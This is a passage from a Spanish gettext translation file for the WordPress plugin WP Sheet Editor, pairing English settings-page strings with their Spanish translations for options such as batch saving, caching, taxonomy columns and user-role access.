los cambios hechos en las celdas " "cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se " "guardan prematuramente antes que termines de editar todas las columnas " "requeridas." #: wp-sheet-editor/dev/inc/options-init.php:116 msgid "Default sort order" msgstr "Orden por defecto" #: wp-sheet-editor/dev/inc/options-init.php:117 msgid "" "We'll sort the rows in the spreadsheet by this field. We recommend you sort " "based on fields that have values in all the rows in order to get more " "accurate results. For example, it's better to sort 1k products by Title ASC " "because you know that all the rows will be sorted accurately, but if you " "sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the " "500 rows without SKU could potentially have random order as we don't have " "any value to sort them accurately." msgstr "" "Ordenaremos las filas de la hoja de cálculo según este campo. Te " "recomendamos ordenar por campos que tengan valores en todas las filas para " "obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos " "por Título ASC porque sabes que todas las filas se ordenarán con precisión, " "pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán " "correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya " "que no tenemos ningún valor para ordenarlas con precisión." #: wp-sheet-editor/dev/inc/options-init.php:129 msgid "Solution to weird errors" msgstr "Solución de errores raros" #: wp-sheet-editor/dev/inc/options-init.php:135 msgid "Columns limit" msgstr "Límite de columnas" #: wp-sheet-editor/dev/inc/options-init.php:136 msgid "" "We limit the spreadsheet columns for performance reasons to avoid loading " "thousands of columns on the spreadsheet. You can increase this limit if you " "want to display more columns. Default: 310" msgstr "" "Limitamos las columnas de la hoja de cálculo por razones de rendimiento para " "evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este " "límite si quieres visualizar más columnas. Predeterminado: 310" #: wp-sheet-editor/dev/inc/options-init.php:142 msgid "Separator for taxonomy terms cells" msgstr "Separador de celdas de términos de taxonomía" #: wp-sheet-editor/dev/inc/options-init.php:143 msgid "" "Taxonomy columns like post categories, post tags, etc. show terms separated " "by comma, if you use commas in your term names, use this option to change " "the separator" msgstr "" "Las columnas de taxonomía como las categorías de las entradas, las etiquetas " "de las entradas, etc. muestran los términos separados por comas, si usas " "comas en los nombres de las taxonomías, usa esta opción para cambiar el " "separador" #: wp-sheet-editor/dev/inc/options-init.php:150 msgid "How long do you want to wait between batches? (in seconds)" msgstr "¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)" #: wp-sheet-editor/dev/inc/options-init.php:151 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. But your server can't " "handle all the batches one after another so we need to wait a few seconds " "after every batch to give your server a little break. The recommended value " "is 6 seconds, you can adjust it as it works best for you. If you get errors " "when saving you should increase the number to give your server a longer " "break after each batch" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "Pero tu servidor no puede manejar todos los lotes uno tras otro, así que " "necesitamos esperar unos segundos después de cada lote para darle a tu " "servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes " "ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías " "aumentar el número para dar a tu servidor un descanso más largo después de " "cada lote." #: wp-sheet-editor/dev/inc/options-init.php:157 msgid "Disable post actions while saving?" msgstr "¿Desactivar las acciones posteriores al guardar cambios?" #: wp-sheet-editor/dev/inc/options-init.php:158 msgid "" "Some plugins execute a task after a post is created or updated. For example, " "there are plugins that share your new posts on your social profiles, other " "plugins that notify users after a post is updated, etc. There might be an " "issue with those plugins. For example, if you use a plugin that shares your " "new posts on your twitter account and update 100 posts in the spreadsheet " "editor you might end up with 100 tweets shared in your twitter account. So " "enable this option if you want to update / create posts silently without " "executing those functions." msgstr "" "Algunos plugins ejecutan una tarea después de crear o actualizar una " "entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus " "perfiles sociales, otros plugins notifican a los usuarios después de que una " "entrada es actualizada, etc. Puede que haya un problema con esos plugins. " "Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de " "twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes " "terminar con 100 tweets compartidos en tu cuenta de twitter. Así que " "habilita esta opción si quieres actualizar / crear posts silenciosamente sin " "ejecutar esas funciones." #: wp-sheet-editor/dev/inc/options-init.php:164 msgid "Suspend object cache invalidation?" msgstr "¿Suspender la invalidación de la caché de objetos?" #: wp-sheet-editor/dev/inc/options-init.php:165 msgid "" "Disable this if you are using a object/database cache plugin. We disable " "this by default to make the saving faster, when you edit a lot of posts " "WordPress tries to \"clean up\" the cache even if you are not using a cache " "plugin, making hundreds of unnecessary database queries." msgstr "" "Deshabilita esta opción si estás usando un plugin de caché de objetos/bases " "de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. " "Cuando editas muchas entradas, WordPress intenta \"limpiar\" la caché " "incluso si no estás usando un plugin de caché, haciendo cientos de consultas " "innecesarias a la base de datos." #: wp-sheet-editor/dev/inc/options-init.php:171 msgid "Disable the replacement of line breaks with p tags?" msgstr "¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?" #: wp-sheet-editor/dev/inc/options-init.php:172 msgid "" "When the sheet loads and saves post content, we run it through wpautop to " "prevent issues with line breaks. You can disable this if you dont want to " "see/save the p tags in the content." msgstr "" "Cuando se carga la hoja de cálculo y guarda el contenido de las filas, la " "ejecutamos a través de wpautop para evitar problemas de saltos de línea. " "Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el " "contenido." #: wp-sheet-editor/dev/inc/options-init.php:178 msgid "Deactivate the data prefetch" msgstr "Desactivar el prefetch de los datos" #: wp-sheet-editor/dev/inc/options-init.php:179 msgid "" "When you load the spreadsheet, we get all the columns at once from the " "database to make it faster, this is called prefetch. This can cause issues " "if you have thousands of columns or rare database setups." msgstr "" "Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de " "la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede " "causar problemas si tienes miles de columnas o configuraciones raras en tus " "bases de datos." #: wp-sheet-editor/dev/inc/options-init.php:185 msgid "Meta keys that should use the infinite serialized fields handler" msgstr "" "Claves meta que deben utilizar el administrador de campos serializados " "infinitos" #: wp-sheet-editor/dev/inc/options-init.php:186 msgid "" "This is only for advanced users or if our support team asks you to use this " "option. We have 2 ways to handle serialized fields: the old handler (used by " "default, which has limitations) and the infinite serialization handler " "(better, it is not active by default to not break previous integrations). " "Use this option if you have serialized fields that save incorrectly or dont " "appear in the spreadsheet." msgstr "" "Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide " "que uses esta opción. Tenemos dos maneras de manejar los campos " "serializados: el antiguo controlador (usado por defecto, que tiene " "limitaciones) y el controlador de serialización infinita (mejor, no está " "activo por defecto para no romper integraciones anteriores). Utiliza esta " "opción si tienes campos serializados que se guardan incorrectamente o no " "aparecen en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:191 msgid "Blacklist these columns" msgstr "Poner estas columnas en la lista negra" #: wp-sheet-editor/dev/inc/options-init.php:192 msgid "" "Enter the list of field keys separated by commas, you can enter the full " "meta field key or partial keywords or prefixes. This is useful because some " "plugins add thousands of unnecessary fields to the database and they clutter " "the spreadsheet" msgstr "" "Ingresa la lista de claves de campo separadas por comas, puedes ingresar la " "clave completa del campo meta o las palabras clave o prefijos parciales. " "Esto es útil porque algunos plugins añaden miles de campos innecesarios a la " "base de datos y desordenan la hoja de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:197 msgid "Enable the utf8 encoding fix" msgstr "Habilitar la corrección de la codificación utf8" #: wp-sheet-editor/dev/inc/options-init.php:198 msgid "This might help if the spreadsheet doesnt load or it loads empty." msgstr "" "Esto puede ayudar si la hoja de cálculo no carga filas o si las filas " "aparecen vacías." #: wp-sheet-editor/dev/inc/options-init.php:205 msgid "Maximum number of seconds to download external images?" msgstr "Número máximo de segundos para descargar imágenes externas?" #: wp-sheet-editor/dev/inc/options-init.php:206 msgid "" "Default: 4. When you enter an external image URL in any image cells (or " "during the import), we download the image file into the WordPress media " "library and save it in the field. By default, we limit the download time to " "4 seconds, any download that exceeds that number of seconds will be cancelled" msgstr "" "Por defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o " "durante la importación, descargamos la imagen y la guardamos en la librería " "multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, " "cualquier descarga que supere eso será cancelada para evitar problemas de " "rendimiento." #: wp-sheet-editor/dev/inc/options-init.php:212 msgid "Maximum meta fields displayed in the advanced filters dropdown" msgstr "Cantidad máxima de campos disponibles para búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:213 msgid "" "We limit the list of fields to 1000 meta fields to avoid memory leaks/" "performance issues. If you want to search by a field that does not appear in " "the dropdown, increase this number." msgstr "" "Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de " "memoria/problemas de rendimiento. Si quieres buscar por un campo que no " "aparece en el desplegable, aumenta este número." #: wp-sheet-editor/dev/inc/options-init.php:219 msgid "Allow line breaks in values during the export and import process" msgstr "Permitir saltos de línea en valores al exportar e importar?" #: wp-sheet-editor/dev/inc/options-init.php:220 msgid "" "We will not execute our removal of duplicate rows when the line breaks are " "allowed, so you might see duplicate rows in the export files in rare cases." msgstr "" "No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan " "los saltos de línea, por lo que es posible que veas filas duplicadas en los " "archivos de exportación en casos excepcionales." #: wp-sheet-editor/dev/inc/options-init.php:226 msgid "Allow safe html in post titles?" msgstr "Permitir HTML seguro en títulos de posts?" #: wp-sheet-editor/dev/inc/options-init.php:227 msgid "" "We will remove all the html tags by default. Activate this option to allow " "safe html tags, like b, span, i, etc" msgstr "" "Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para " "permitir etiquetas html seguras, como b, span, i, etc." #: wp-sheet-editor/dev/inc/options-init.php:233 msgid "Attach every taxonomy term in the hierarchy to the posts?" msgstr "¿Acoplar cada término de taxonomía de la jerarquía a los posts?" #: wp-sheet-editor/dev/inc/options-init.php:234 msgid "" "By default, we only attach the last term in the hierarchy to the posts " "because WordPress automatically handles them correctly. But if you want to " "assign each term to the post, including the parent categories, activate this " "option" msgstr "" "Por defecto, sólo asignamos el último término de la jerarquía a las entradas " "porque WordPress las gestiona correctamente de forma automática. Pero si " "quieres asignar cada término a la entrada, incluyendo las categorías padre, " "habilita esta opción." #: wp-sheet-editor/dev/inc/options-init.php:240 msgid "Always run the save_post action after any post row is edited?" msgstr "" "¿Ejecutar siempre la acción save_post después de editar cualquier fila de la " "entrada?" #: wp-sheet-editor/dev/inc/options-init.php:241 msgid "" "By default, we run the save_post action only when a post data field is " "updated (fields other than meta and taxonomies) for performance reasons. " "Enable this if other plugins aren't detecting our changes or webhooks aren't " "running." msgstr "" "Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un " "campo de datos de la entrada (campos que no sean meta y taxonomías) por " "razones de rendimiento. Habilita esto si otros plugins no están detectando " "nuestros cambios o los webhooks no se están ejecutando." #: wp-sheet-editor/dev/inc/options-init.php:250 msgid "Customize features" msgstr "¿Personalizar las características" #: wp-sheet-editor/dev/inc/options-init.php:255 msgid "Enable option to restrict spreadsheet views per user?" msgstr "" "¿Habilitar la opción de restringir las vistas de hojas de cálculo por " "usuario?" #: wp-sheet-editor/dev/inc/options-init.php:256 msgid "" "If you enable this option, we will add fields to the user profiles where you " "can specify which spreadsheet views they can use, they can use all the " "spreadsheet views if this is deactivated." msgstr "" "Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde " "podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden " "utilizar todas las vistas de la hoja de cálculo si esto está desactivado." #: wp-sheet-editor/dev/inc/options-init.php:262 msgid "Enable simple mode?" msgstr "¿Habilitar el modo simple?" #: wp-sheet-editor/dev/inc/options-init.php:263 msgid "" "If you enable this option, we will simplify the spreadsheet options and " "remove advanced examples, tips, and options rarely used in the search tool, " "bulk edit tool, import tool, export tool, and other places." msgstr "" "Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo " "y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la " "herramienta de búsqueda, la herramienta de edición masiva, la herramienta de " "importación, la herramienta de exportación y otros lugares." #: wp-sheet-editor/dev/inc/options-init.php:269 msgid "Disable the automatic formatting detection?" msgstr "¿Deshabilitar la detección automática del formato?" #: wp-sheet-editor/dev/inc/options-init.php:270 msgid "" "If you enable this option, some columns will appear as text. Normally we " "detect the date fields, image fields." msgstr "" "Si habilitas esta opción, algunas columnas aparecerán como texto. " "Normalmente detectamos los campos de fecha, campos de imagen." #: wp-sheet-editor/dev/inc/options-init.php:276 msgid "Disable cells lazy loading?" msgstr "¿Deshabilitar la carga lenta de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:277 msgid "" "The spreadsheet loads only the \"visible rows\" for performance reasons, so " "when you scroll up or down the rows are loaded dynamically. This way you can " "\"open\" thousands of posts in the spreadshet and it will work fast. " "However, if you want to use the browser search to find a specific cell, you " "need to disable the lazy loading in order to load all the rows at once and " "the browser will be able to find the cells. The browser search doesn't work " "by default because only the \"visible rows\" are actually created." msgstr "" "La hoja de cálculo carga sólo las \"filas visibles\" por razones de " "rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las " "filas se cargan dinámicamente. De esta manera puedes \"abrir\" miles de " "posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres " "usar la búsqueda del navegador para encontrar una celda específica, " "necesitas deshabilitar la carga perezosa para cargar todas las filas a la " "vez y el navegador será capaz de encontrar las celdas. La búsqueda en el " "navegador no funciona por defecto porque sólo se crean las \"filas " "visibles\"." #: wp-sheet-editor/dev/inc/options-init.php:283 msgid "Disable usage stats widget?" msgstr "¿Deshabilitar el widget de estadísticas de uso?" #: wp-sheet-editor/dev/inc/options-init.php:284 msgid "" "If you enable this option, the usage stats widget shown in the wp-admin " "dashboard will be removed." msgstr "" "Si habilitas esta opción, el widget de estadísticas de uso que se muestra en " "el panel de control de wp-admin será eliminado." #: wp-sheet-editor/dev/inc/options-init.php:290 msgid "Disable serialized columns support?" msgstr "¿Deshabilitar el soporte de columnas serializadas?" #: wp-sheet-editor/dev/inc/options-init.php:291 msgid "" "The spreadsheet automatically generates columns for serialized fields, but " "this can use a lot of CPU cycles depending on the number of serialized " "fields. You can disable this feature if the sheet is too slow to load or you " "get errors when loading the rows or you dont want to see columns with prefix " "\"SEIS\"." msgstr "" "La hoja de cálculo genera automáticamente columnas para los campos " "serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del " "número de campos serializados. Puedes deshabilitar esta característica si la " "hoja es demasiado lenta para cargar o si obtienes errores al cargar las " "filas o no quieres ver las columnas con el prefijo \"SEIS\"." #: wp-sheet-editor/dev/inc/options-init.php:297 msgid "Disable the heartbeat api in the spreadsheet?" msgstr "¿Deshabilitar la api heartbeat en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:298 msgid "" "WordPress uses the heartbeat API to check the login status every few " "seconds. This can overload your server because it could make hundreds of " "requests when you are editing in the spreadsheet. You can disable it to " "reduce the stress on your server while editing in the sheet. However, if you " "keep the spreadsheet opened over multiple days your login session can expire " "and you wont be notified if you disable the heartbeat and this can cause " "issues while saving. So use this option only when you use the spreadsheet " "for a few hours only." msgstr "" "WordPress utiliza la API de heartbeat para comprobar el estado de inicio de " "sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que " "podría hacer cientos de peticiones cuando se está editando en la hoja de " "cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor " "mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de " "cálculo abierta durante varios días, tu sesión de inicio de sesión puede " "caducar y no se te notificará si dehabilitas el heartbeat, lo que puede " "causar problemas al guardarla. Así que usa esta opción sólo cuando uses la " "hoja de cálculo durante unas pocas horas." #: wp-sheet-editor/dev/inc/options-init.php:303 msgid "User roles that can use the spreadsheet editor" msgstr "Roles de usuario que pueden utilizar el editor de hojas de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:304 msgid "The plugin will not initialize for the user roles not selected here." msgstr "" "El plugin no se inicializará para los roles de usuario no seleccionados aquí." #: wp-sheet-editor/dev/inc/options-init.php:312 msgid "Enable the fancy taxonomy terms selector" msgstr "Habilitar el selector de términos de taxonomía bonito" #: wp-sheet-editor/dev/inc/options-init.php:313 msgid "" "Backwards compatibility. This setting will be removed in future updates." msgstr "" "Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras " "actualizaciones." #: wp-sheet-editor/dev/inc/options-init.php:319 msgid "What cell format to use for the taxonomy columns?" msgstr "¿Qué formato de celda se debe utilizar para las columnas de taxonomía?" #: wp-sheet-editor/dev/inc/options-init.php:321 msgid "New multi select dropdown (Default)" msgstr "Nuevo menú desplegable de selección múltiple (predeterminado)" #: wp-sheet-editor/dev/inc/options-init.php:322 msgid "Old single select autocomplete" msgstr "Autocompletado de selección simple antiguo" #: wp-sheet-editor/dev/inc/options-init.php:328 msgid "Show all the custom post statuses?" msgstr "¿Mostrar todos los estados de posts personalizados?" #: wp-sheet-editor/dev/inc/options-init.php:329 msgid "" "By default we show the CORE statuses: published, draft, private, scheduled, " "trash. However, some plugins register custom statuses: job managers, " "woocommerce. Enable this option to show all the custom statuses in the " "\"status\" column. CAREFUL. We will show all the statuses from all the post " "types in the dropdown because it is impossible to know the post type of each " "status to we can not separate them. Do this only if you are a developer." msgstr "" "Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, " "programado, papelera. Sin embargo, algunos plugins registran estados " "personalizados: gestores de trabajos, comercio de madera. Habilita esta " "opción para mostrar todos los estados personalizados en la columna " "\"status\". CUIDADO. Mostraremos todos los estados de todos los post types " "en el desplegable porque es imposible saber el post type de cada estado al " "no poder separarlos. Haz esto sólo si eres un desarrollador." #: wp-sheet-editor/dev/inc/options-init.php:335 msgid "Remove help messages from the cells?" msgstr "¿Ocultar los mensajes de ayuda de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:336 msgid "" "By default we show comments in some columns indicating the value format or " "why they are locked. for example, the category column shows a tip indicating " "to separate terms with a comma and how to add child categories, variation " "columns have a tip indicating why they are locked for parent products. You " "can activate this option to disable those tips." msgstr "" "Por defecto, mostramos comentarios en algunas columnas indicando el formato " "del valor o por qué están bloqueados. Por ejemplo, la columna de categorías " "muestra un consejo que indica que hay que separar los términos con una coma " "y cómo añadir categorías menores, las columnas de variaciones tienen un " "consejo que indica por qué están bloqueadas para los productos de los " "padres. Puedes activar esta opción para desactivar esos consejos." #: wp-sheet-editor/dev/inc/options-init.php:342 msgid "Manage taxonomy column values as term ids?" msgstr "" "¿Administrar los valores de las columnas de taxonomía como IDs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:343 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term ids separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los ID de los términos separados " "por comas." #: wp-sheet-editor/dev/inc/options-init.php:349 msgid "Manage taxonomy column values as term slugs?" msgstr "" "¿Gestionar los valores de las columnas de taxonomía como slugs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:350 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term slugs separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los términos separados por comas." #: wp-sheet-editor/dev/inc/options-init.php:356 msgid "Do you want to deactivate columns for new fields found?" msgstr "¿Quieres deshabilitar las columnas para los nuevos campos encontrados?" #: wp-sheet-editor/dev/inc/options-init.php:357 msgid "" "By default we automatically show columns for all the new fields found, so " "everytime we detect new fields you can see them and edit right away. But " "this might \"break\" your column sorting or annoy you if you have enabled " "specific columns. Enable this option to generate those columns but leave " "them deactivated so you can enable them later." msgstr "" "Por defecto mostramos automáticamente columnas para todos los nuevos campos " "encontrados, así que cada vez que detectamos nuevos campos puedes verlos y " "editarlos inmediatamente. Pero esto puede \"romper\" tu orden de columnas o " "molestarte si has habilitado columnas específicas. Habilita esta opción para " "generar esas columnas pero dejarlas desactivadas para que puedas " "habilitarlas más tarde." #: wp-sheet-editor/dev/inc/options-init.php:364 msgid "Math formula roundup decimals" msgstr "" "Decimales para redondear valores al realizar ediciones masivas en columnas " "numéricas?" #: wp-sheet-editor/dev/inc/options-init.php:365 msgid "" "We automatically round up to 2 decimals. You can enter any number here, for " "example, 1 to round to 1 decimal" msgstr "" "Redondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número " "aquí, por ejemplo, 1 para redondear a 1 decimal" #: wp-sheet-editor/dev/inc/options-init.php:371 msgid "Display raw value on select cells?" msgstr "¿Mostrar el valor bruto en las celdas seleccionadas?" #: wp-sheet-editor/dev/inc/options-init.php:372 msgid "" "By default, we show the label in the cell instead of the raw value. But you " "can enable this option to display the raw value in the cells." msgstr "" "Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. " "Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas." #: wp-sheet-editor/dev/inc/options-init.php:378 msgid "" "Delete user accounts in the entire network when deleting users in the " "spreadsheet?" msgstr "" "¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de " "cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:379 msgid "" "When you use WordPress multisite and you delete a user in the users " "spreadsheet, by default we only remove the user from the current site but " "the user remains in the network. Activate this option if you want to delete " "the user account from the entire network" msgstr "" "Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de " "usuarios, por defecto solo removemos el usuario del sitio actual. Habilita " "esta opción para eliminar al usuario de toda la red." #: wp-sheet-editor/dev/inc/options-init.php:385 msgid "Disable the addition of file ID to the image URLs?" msgstr "¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:386 msgid "" "By default, when you export the featured image column or gallery columns, we " "add the file ID to each image url so we can import them later faster. You " "can activate this option to not add the file id and the import will work " "fine later but it wont be as fast" msgstr "" "Por defecto, al exportar una columna con imágenes, agregamos el ID del " "archivo a la URL para que al importar, sepamos el origen de la imagen y la " "guardemos más rápido. Activa esta opción para no agregar el ID a la URL, " "todo funciona bien al habilitar esta opción, solo que el guardado puede ser " "un poquito más lento." #: wp-sheet-editor/dev/inc/options-init.php:392 msgid "Disable the display of file names in the image columns?" msgstr "¿No mostrar el nombre del archivo en la celda de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:393 msgid "" "By default, we show the file name as a preview next to the thumbnail, you " "can activate this to show the thumbnail and upload buttons only" msgstr "" "Por defecto, mostramos el nombre del archivo como texto de vista previa " "junto a la miniatura, habilita esto para mostrar solo la miniatura y botones " "únicamente." #: wp-sheet-editor/dev/inc/options-init.php:399 msgid "Add html classes to the \"post status\" cells based on their values?" msgstr "" "¿Añadir clases html a las celdas \" estado de la entrada \" en función de " "sus valores?" #: wp-sheet-editor/dev/inc/options-init.php:400 msgid "" "You can activate this option if you want to add html classes, and use those " "html classes to change the cell colors for each status using custom CSS" msgstr "" "Puedes habilitar esta opción si quieres añadir clases html, y usar esas " "clases html para cambiar los colores de las celdas para cada estado usando " "CSS personalizado" #: wp-sheet-editor/dev/inc/options-init.php:407 msgid "" "Maximum number of characters displayed in the preview of the values of " "tinymce columns?" msgstr "" "¿Número máximo de caracteres mostrados en la vista previa de los valores de " "las columnas tinymce?" #: wp-sheet-editor/dev/inc/options-init.php:408 msgid "" "By default, we only display 30 characters. You can increase the number here " "to view larger previews." msgstr "" "Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí " "para ver previsualizaciones más grandes." #: wp-sheet-editor/dev/inc/options-init.php:414 msgid "Manage the post parent column using IDs?" msgstr "¿Administrar la columna \"Padre\" usando los IDs?" #: wp-sheet-editor/dev/inc/options-init.php:415 msgid "" "By default, the \"parent\" column displays titles and saves using titles. If " "you activate this option, the column will display IDs and save IDs. This is " "useful if you have duplicate titles and you need to save the exact parent by " "ID." msgstr "" "Por defecto, la columna \"padre\" muestra títulos y guarda utilizando " "títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. " "Esto es útil si tienes títulos duplicados y necesitas guardar el padre " "exacto por ID." #: wp-sheet-editor/dev/inc/options-init.php:420 msgid "Enable the dark mode?" msgstr "¿Habilitar modo oscuro?" #: wp-sheet-editor/dev/inc/options-init.php:424 msgid "Auto (Default)" msgstr "Automático (por defecto)" #: wp-sheet-editor/dev/inc/options-init.php:425 msgid "Light mode" msgstr "Modo claro" #: wp-sheet-editor/dev/inc/options-init.php:426 msgid "Dark mode" msgstr "Modo oscuro" #: wp-sheet-editor/dev/inc/options-init.php:433 msgid "General settings" msgstr "Ajustes generales" #: wp-sheet-editor/dev/inc/options-init.php:438 msgid "" "In this page you can quickly set up the spreadsheet editor. This all you " "need to use the editor. The settings on the other tabs are completely " "optional and allow you to tweak the performance of the editor among other " "things." msgstr "" "En esta página puedes configurar rápidamente el editor de hojas de cálculo. " "Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras " "pestañas son completamente opcionales y te permiten ajustar el rendimiento " "del editor entre otras cosas." #: wp-sheet-editor/dev/inc/options-init.php:445 msgid "Misc" msgstr "Miscelánea" #: wp-sheet-editor/dev/inc/options-init.php:451 msgid "Image preview width inside the cell" msgstr "Ancho de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:458 msgid "Image preview height inside the cell" msgstr "Altura de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:465 msgid "Initial rows offset" msgstr "Desfase inicial de las filas" #: wp-sheet-editor/dev/inc/options-init.php:466 msgid "" "When you have 1000 posts , you might want to open the spreadsheet and start " "editing from post 200. This option lets you skip a lot of rows. IMPORTANT. " "We use the pagination, so we will display the page closest to that number. " "For example. If you load 10 rows per page and enter 1205 as offset, the " "sheet will start from page 120 (index 1200) because it is the page closest " "to the defined offset." msgstr "" "Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y " "empezar a editar desde las fila 200. Esta opción te permite saltar muchas " "filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más " "cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas " "1205 como desplazamiento, la hoja comenzará desde la página 120 (índice " "1200) porque es la página más cercana al desplazamiento definido." #: wp-sheet-editor/dev/inc/options-init.php:472 msgid "Delete the attached images when deleting a post?" msgstr "¿Borrar las imágenes adjuntas al borrar una entrada?" #: wp-sheet-editor/dev/inc/options-init.php:473 msgid "" "For example, when deleting a post completely (not moving to the trash), " "delete the featured image and product gallery images from the media library. " "CAREFUL.If you use the same images on multiple posts, it will break the " "images on other posts" msgstr "" "Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se " "borra la imagen destacada y las imágenes de la galería de productos de la " "biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, " "se romperán las imágenes en otros posts" #: wp-sheet-editor/dev/inc/options-init.php:481 msgid "Spreadsheets enabled for these post types" msgstr "Hojas de cálculo habilitadas para estos post types" #: wp-sheet-editor/dev/inc/options-init.php:486 msgid "Disable the help toolbar?" msgstr "¿Deshabilitar la barra de ayuda?" #: wp-sheet-editor/dev/inc/options-init.php:487 msgid "This will hide the \"help\" option in the top toolbar" msgstr "Esto ocultará la opción \"ayuda\" de la barra de herramientas superior" #: wp-sheet-editor/dev/inc/options-init.php:494 msgid "Maximum visible characters in locked cells" msgstr "Máximo de caracteres visibles en las celdas bloqueadas" #: wp-sheet-editor/dev/inc/options-init.php:495 msgid "" "Locked cells only show a preview of the value. The default character length " "is %d" msgstr "" "Las celdas bloqueadas sólo muestran una vista previa del valor. La longitud " "de caracteres por defecto es %d" #: wp-sheet-editor/dev/inc/options-init.php:501 msgid "Don't show read-only columns in the advanced search?" msgstr "¿No mostrar columnas de sólo lectura en la búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:510 msgid "Disable extension offerings?" msgstr "¿Deshabilitar la promoción de extensiones?" #: wp-sheet-editor/dev/inc/options-init.php:516 msgid "Don't display the disabled columns in the modules?" msgstr "¿No mostrar las columnas deshabilitadas en los módulos?" #: wp-sheet-editor/dev/inc/options-init.php:517 msgid "" "By default, we show all the columns in the app modules (advanced search, " "bulk edit, export, import, etc), even if they're disabled in the columns " "manager. Activate this option to only display enabled columns." msgstr "" "Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda " "avanzada, edición masiva, exportación, importación, etc), aunque estén " "deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar " "solo las columnas habilitadas." #: wp-sheet-editor/dev/inc/options-init.php:523 msgid "" "Allow users with the capability unfiltered_html to save any html in the post " "content column?" msgstr "" "¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier " "html en la columna de contenido del post?" #: wp-sheet-editor/dev/inc/options-init.php:524 msgid "" "By default, we remove any unsafe html from all the spreadsheet columns " "before saving the values. You can activate this option if you want to allow " "the WordPress super admins or administrators to add iframes, ad codes, etc " "to the post content. Use it at your own risk." msgstr "" "Por defecto, eliminamos cualquier html inseguro de todas las columnas de la " "hoja de cálculo antes de guardar los valores. Puedes activar esta opción si " "quieres permitir a los superadministradores o administradores de WordPress " "añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala " "bajo tu propia responsabilidad." #: wp-sheet-editor/dev/inc/options-init.php:531 msgid "Generate serialized fields columns based on these posts" msgstr "Generar columnas de campos serializados basados en estos posts" #: wp-sheet-editor/dev/inc/options-init.php:532 msgid "" "This option allows you to indicate what posts to use as templates for " "specific serialized fields. Enter the field key and post ID separated with a " "colon. For example: serialized_key1:89, serializedkey2:90" msgstr "" "Esta opción te permite indicar qué posts utilizar como plantillas para " "campos serializados específicos. Ingresa la clave del campo y el ID del post " "separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90" #: wp-sheet-editor/dev/inc/providers/post.php:511 